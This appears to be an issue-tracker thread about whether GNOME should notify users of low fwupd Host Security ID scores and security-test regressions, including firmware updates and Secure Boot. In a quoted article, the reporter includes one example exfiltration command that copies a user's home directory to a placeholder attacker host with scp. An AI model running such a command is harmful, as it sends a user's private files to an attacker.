When discovering either an "insecure state"

I don't think we can do this, because almost all users are going to be in the HSI:0 state, and there's usually (not always, but usually) nothing you can do to fix it except buy a new computer.

or a downgrade of the hardware security level (e.g. from HSI:3 to HSI:1), users should be informed by a prominent (sticky) warning via the notification center.

But we should probably do this.

Please note that I reported this here – and not in Gnome-specific bug trackers – because of the issue's high severity ("Any system with a Host Security ID of 0 can easily be modified from userspace.").

So the goal here is to protect against rootkits/bootkits. It's a really good defense in depth measure, but I wouldn't call it "high severity" as it only matters if you're already infected by some other sort of malware. At least I'm not planning to go out and buy a new computer just because I have HSI:0, but it is something I'll be considering next time I purchase one.

I worked on the design of the device security settings, so I have some insight here.

When discovering either an "insecure state" or a downgrade of the hardware security level (e.g. from HSI:3 to HSI:1), users should be informed by a prominent (sticky) warning via the notification center.

The current "security events" section of the device security panel is supposed to list any regressions in the results of fwupd's security tests (ie. if a test previously passed and then subsequently failed). This is more fine-grained than what is being suggested here, but is also more useful.

The plan was to show a notification to a user when a test regresses, ideally before login (the tests are run on boot, and you don't want to be logging in to a compromised system). We should probably get around to doing that. :smile: (The first step would probably to fix this issue.)

On clicking the notification, users should be provided specific and helpful information on what the problem is and how to fix it (or who to contact for help).

This is hard. We have made some attempts to do it, but the tests themselves are highly technical in nature, and the reason for a test regressing can vary - it could be due to a bug in a firmware update, because you installed the proprietary NVIDIA driver, because someone tampered with your laptop, etc etc.

It's fairly rare for a user to be able to fix a failed security test themselves, and their ability to do so varies according to the hardware. If it is possible, then our goal is to make it trivial. The experience should be something along the lines of a notification which pops up with a "fix me" button. The first step would probably be to include a button to enable secure boot.

Documentation on the various tests can be found here.

@rhughes

So, on all that -- we actually merged the bits we need just a few days ago: https://github.com/fwupd/fwupd/pull/6204 -- which lets us actually fix the failures in a predictable and undo-able way. Once that's landed in a stable Fedora we can look at hooking up the UI like the mockups.

When discovering either an "insecure state"

I don't think we can do this, because almost all users are going to be in the HSI:0 state, and there's usually (not always, but usually) nothing you can do to fix it except buy a new computer.

or a downgrade of the hardware security level (e.g. from HSI:3 to HSI:1), users should be informed by a prominent (sticky) warning via the notification center.

But we should probably do this.

Please note that I reported this here – and not in Gnome-specific bug trackers – because of the issue's high severity ("Any system with a Host Security ID of 0 can easily be modified from userspace.").

So the goal here is to protect against rootkits/bootkits. It's a really good defense in depth measure, but I wouldn't call it "high severity" as it only matters if you're already infected by some other sort of malware. At least I'm not planning to go out and buy a new computer just because I have HSI:0, but it is something I'll be considering next time I purchase one.

I am adding some information here for the specific reason that my system has been graded HSI:0, as this seems relevant to your reply:

I don't think we can do this, because almost all users are going to be in the HSI:0 state, and there's usually (not always, but usually) nothing you can do to fix it except buy a new computer.

In my case, going back to "baseline security" (HSI:1) was as simple as updating the firmware. The manufacturer in this case sadly does not offer any automic notifications via RSS or E-Mail for informing users that a firmware update (presumably with security fixes) is available for their device, so many users need to rely on the operating system informing them of their vulnerability to check for available updates on the manufacturers website.
Another possible reason for HSI:0 is "Secure Boot" being turned off, which is similarly easy to fix.
Users should still be able to manually disable the security alert, but only after acknowledging the reason for it and being informed about potential vulnerabilities and fixes.

So the goal here is to protect against rootkits/bootkits. It's a really good defense in depth measure, but I wouldn't call it "high severity" as it only matters if you're already infected by some other sort of malware. At least I'm not planning to go out and buy a new computer just because I have HSI:0, but it is something I'll be considering next time I purchase one.

I am not a security researcher, but it is my understanding that it is comparatively easy to infect a standard GNU/Linux desktop machine with malware. An example for a recent exploit that can be used for aquiring elevated privileges is CVE-2023-4911. See also this article, which has a point when saying:

Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing scp -r ~/ malware@xx.xx.xx.xx:/data. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.

Not notifying users of their device's vulnerability

1. does not give them the necessary information to make the decision of e.g. returning their device and buying a safer one and
2. risks them not knowing that they will not be able to "clean" their device with a simple reinstall of the operating system to remove a potential malware infection.

The manufacturer in this case sadly does not offer any automic notifications

If they uploaded the firmware updates to the LVFS (a free service we provide) they certainly would do! :)

Another possible reason for HSI:0 is "Secure Boot" being turned off, which is similarly easy to fix.

Just this week we've merged the code so we can have a button that does this in a UI somewhere, if that helps.

The manufacturer in this case sadly does not offer any automic notifications

If they uploaded the firmware updates to the LVFS (a free service we provide) they certainly would do! :)

In my case they do not. While they do use the LVFS beta, they state that

There will not be an LVFS update for this specific release because it has an Intel CSME update, which can’t be delivered through LVFS. Use the UEFI Shell update method instead for this release.

And even if the manufacturer uses LVFS to distribute firmware updates, users should still be notified of an HSI:0 grading.

Another possible reason for HSI:0 is "Secure Boot" being turned off, which is similarly easy to fix.

Just this week we've merged the code so we can have a button that does this in a UI somewhere, if that helps.

It does! I just wanted to reply to @catanzaro stating that users with a system graded as HSI:0 without regressions should not receive alerts.

The working group discussed this issue at our call yesterday. The group finds the idea of making security issues more prominent to be interesting. At the same time, this area is being actively developed and we don't feel the need to track this issue downstream.

If there are changes people want to see from fwupd or its integration in GNOME, then by all means file issues upstream.